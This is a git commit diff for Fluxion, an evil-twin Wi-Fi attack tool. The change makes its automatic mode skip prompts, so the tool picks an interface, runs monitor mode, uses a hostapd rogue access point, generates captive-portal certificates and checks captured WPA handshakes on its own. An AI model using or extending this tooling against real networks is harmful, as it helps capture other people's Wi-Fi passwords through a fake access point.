Fixed FLUXIONAuto functionality.

This commit is contained in:
Matias Barcenas 2017-08-16 01:01:51 -05:00
parent 8c523d0a6f
commit 64cbf71830
2 changed files with 71 additions and 54 deletions

View File

@ -41,7 +41,7 @@ function captive_portal_set_auth() {
captive_portal_unset_auth captive_portal_unset_auth
if [ ${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \ if [ ${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \
${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a "$FLUXIONAuto" = 1 ]; then ${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a "$FLUXIONAuto" ]; then
APRogueAuthMode="${CaptivePortalAuthenticationMethods[0]}" APRogueAuthMode="${CaptivePortalAuthenticationMethods[0]}"
else else
fluxion_header fluxion_header
@ -99,23 +99,27 @@ function captive_portal_set_cert() {
captive_portal_unset_cert captive_portal_unset_cert
local choices=("$CaptivePortalCertificateSourceGenerateOption" "$CaptivePortalCertificateSourceRescanOption" "$FLUXIONGeneralBackOption") if [ "$FLUXIONAuto" ]; then
captive_portal_run_certificate_generator
else
local choices=("$CaptivePortalCertificateSourceGenerateOption" "$CaptivePortalCertificateSourceRescanOption" "$FLUXIONGeneralBackOption")
while [ ! -f "$FLUXIONWorkspacePath/server.pem" -o ! -s "$FLUXIONWorkspacePath/server.pem" ]; do while [ ! -f "$FLUXIONWorkspacePath/server.pem" -o ! -s "$FLUXIONWorkspacePath/server.pem" ]; do
io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@] io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@]
echo echo
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$CaptivePortalCertificateSourceGenerateOption") captive_portal_run_certificate_generator; break;; "$CaptivePortalCertificateSourceGenerateOption") captive_portal_run_certificate_generator; break;;
"$CaptivePortalCertificateSourceRescanOption") return 2;; "$CaptivePortalCertificateSourceRescanOption") return 2;;
"$FLUXIONGeneralBackOption") "$FLUXIONGeneralBackOption")
captive_portal_unset_auth captive_portal_unset_auth
captive_portal_unset_cert captive_portal_unset_cert
return 1;; return 1;;
*) conditional_bail; return 3;; *) conditional_bail; return 3;;
esac esac
done done
fi
} }

View File

@ -17,7 +17,7 @@ FLUXIONRevision=0
FLUXIONDebug=${FLUXIONDebug:+1} FLUXIONDebug=${FLUXIONDebug:+1}
FLUXIONDropNet=${FLUXIONDropNet:+1} FLUXIONDropNet=${FLUXIONDropNet:+1}
FLUXIONAuto=${FLUXION_AUTO:+1} FLUXIONAuto=${FLUXIONAuto:+1}
# FLUXIONDebug [Normal Mode "" / Developer Mode 1] # FLUXIONDebug [Normal Mode "" / Developer Mode 1]
export FLUXIONOutputDevice=$([ $FLUXIONDebug ] && echo "/dev/stdout" || echo "/dev/null") export FLUXIONOutputDevice=$([ $FLUXIONDebug ] && echo "/dev/stdout" || echo "/dev/null")
@ -241,7 +241,13 @@ if [ ! $FLUXIONDebug ]; then
format_center_literals " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘"; FLUXIONBanner[${#FLUXIONBanner[@]}]="$FormatCenterLiterals"; format_center_literals " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘"; FLUXIONBanner[${#FLUXIONBanner[@]}]="$FormatCenterLiterals";
format_center_literals "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯"; FLUXIONBanner[${#FLUXIONBanner[@]}]="$FormatCenterLiterals"; format_center_literals "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯"; FLUXIONBanner[${#FLUXIONBanner[@]}]="$FormatCenterLiterals";
clear; echo -e "$CRed" clear
if [ "$FLUXIONAuto" ]
then echo -e "$CBlu"
else echo -e "$CRed"
fi
for line in "${FLUXIONBanner[@]}"; do for line in "${FLUXIONBanner[@]}"; do
echo "$line"; sleep 0.05 echo "$line"; sleep 0.05
done done
@ -408,7 +414,7 @@ function set_resolution() {
##################################### < Language > ##################################### ##################################### < Language > #####################################
function set_language() { function set_language() {
if [ ! $FLUXIONAuto ]; then if [ ! "$FLUXIONAuto" ]; then
# Get all language files available. # Get all language files available.
local languages=(language/*.lang) local languages=(language/*.lang)
# Strip entries of "language/" and ".lang" # Strip entries of "language/" and ".lang"
@ -489,8 +495,10 @@ function set_interface() {
local WISelected local WISelected
local WISelectedState local WISelectedState
if [ $WIAvailableDataCount -eq 1 -a ${WIAvailableState[0]} = '+' ]; then if [ $WIAvailableDataCount -ge 1 -a ${WIAvailableState[0]} = "+" -a \
$WIAvailableDataCount -eq 1 -o "$FLUXIONAuto" ]; then
WISelected="${WIAvailable[0]}" WISelected="${WIAvailable[0]}"
WISelectedState="+" # It passed the condition, it must be +
else else
format_apply_autosize "$CRed[$CYel%1d$CRed]%b %-8b [%1s] %-*.*s\n" format_apply_autosize "$CRed[$CYel%1d$CRed]%b %-8b [%1s] %-*.*s\n"
io_query_format_fields "$FLUXIONVLine $FLUXIONInterfaceQuery" \ io_query_format_fields "$FLUXIONVLine $FLUXIONInterfaceQuery" \
@ -513,11 +521,11 @@ function set_interface() {
sleep 7; unset_interface; return 1; sleep 7; unset_interface; return 1;
fi fi
# Get selected interface's driver details/info-descriptor.
echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice"
WIDriver=$(airmon-ng | grep $WISelected | awk '{print $3}')
if [ $FLUXIONDropNet ]; then if [ $FLUXIONDropNet ]; then
# Get selected interface's driver details/info-descriptor.
echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice"
WIDriver=$(airmon-ng | grep $WISelected | awk '{print $3}')
# I'm not really sure about this conditional here. # I'm not really sure about this conditional here.
# FLUXION 2 had the conditional so I kept it there. # FLUXION 2 had the conditional so I kept it there.
if [ ! "$(echo $WIDriver | egrep 'rt2800|rt73')" ]; then if [ ! "$(echo $WIDriver | egrep 'rt2800|rt73')" ]; then
@ -553,6 +561,8 @@ function run_interface() {
echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice" echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice"
WIMonitor=$(airmon-ng start $WISelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2> /dev/null) WIMonitor=$(airmon-ng start $WISelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2> /dev/null)
# TODO: Verify the monitor interface was successfully created.
# Create an identifier for the access point, AP virtual interface. # Create an identifier for the access point, AP virtual interface.
# The identifier will follow this structure: wlanXap, where X is # The identifier will follow this structure: wlanXap, where X is
# the integer assigned to the original interface, wlanXmon. # the integer assigned to the original interface, wlanXmon.
@ -576,7 +586,7 @@ function set_scanner() {
return 0 return 0
fi fi
if [ $FLUXIONAuto ];then if [ "$FLUXIONAuto" ];then
run_scanner $WIMonitor run_scanner $WIMonitor
else else
local choices=("$FLUXIONScannerChannelOptionAll" "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption") local choices=("$FLUXIONScannerChannelOptionAll" "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption")
@ -624,7 +634,7 @@ function run_scanner() {
local monitor=$1 local monitor=$1
local channels=$2 local channels=$2
if [ $FLUXIONAuto ]; then if [ "$FLUXIONAuto" ]; then
sleep 30 && killall xterm & sleep 30 && killall xterm &
fi fi
@ -784,11 +794,7 @@ function set_ap_service() {
unset_ap_service unset_ap_service
if [ $FLUXIONAuto ]; then if [ "$FLUXIONAuto" ]; then
# airbase-ng isn't compatible with dhcpd, since airbase-ng sets
# the wireless interface in monitor mode, which dhcpd rejects.
# hostapd works, because it bring the interface into master mode,
# which dhcpd works perfecly fine with.
APRogueService="hostapd"; APRogueService="hostapd";
else else
fluxion_header fluxion_header
@ -823,24 +829,29 @@ function check_hash() {
return 1; return 1;
fi fi
fluxion_header
echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery"
echo
view_target_ap_info
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
io_query_choice "" choices[@]
echo
local verifier local verifier
case "$IOQueryChoice" in
"$FLUXIONHashVerificationMethodPyritOption") verifier="pyrit";; if [ "$FLUXIONAuto" ]; then
"$FLUXIONHashVerificationMethodAircrackOption") verifier="aircrack-ng";; verifier="pyrit"
"$FLUXIONGeneralBackOption") return 1;; else
esac fluxion_header
echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery"
echo
view_target_ap_info
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
io_query_choice "" choices[@]
echo
case "$IOQueryChoice" in
"$FLUXIONHashVerificationMethodPyritOption") verifier="pyrit";;
"$FLUXIONHashVerificationMethodAircrackOption") verifier="aircrack-ng";;
"$FLUXIONGeneralBackOption") return 1;;
esac
fi
hash_check_handshake "$verifier" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" > $FLUXIONOutputDevice hash_check_handshake "$verifier" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" > $FLUXIONOutputDevice
local hashResult=$? local hashResult=$?
@ -879,18 +890,20 @@ function set_hash() {
if [ -f "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" -a \ if [ -f "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" -a \
-s "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" ]; then -s "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" ]; then
fluxion_header if [ ! "$FLUXIONAuto" ];then
fluxion_header
echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice" echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice"
echo echo
view_target_ap_info view_target_ap_info
echo -e "Path: ${CClr}$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" echo -e "Path: ${CClr}$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap"
echo -ne "${CRed}$FLUXIONUseFoundHashQuery$CClr [${CWht}Y$CClr/n] " echo -ne "$FLUXIONVLine ${CRed}$FLUXIONUseFoundHashQuery$CClr [${CWht}Y$CClr/n] "
if [ ! $FLUXIONAuto ];then
read APTargetHashPathConsidered read APTargetHashPathConsidered
echo
fi fi
if [ "$APTargetHashPathConsidered" = "" -o "$APTargetHashPathConsidered" = "y" -o "$APTargetHashPathConsidered" = "Y" ]; then if [ "$APTargetHashPathConsidered" = "" -o "$APTargetHashPathConsidered" = "y" -o "$APTargetHashPathConsidered" = "Y" ]; then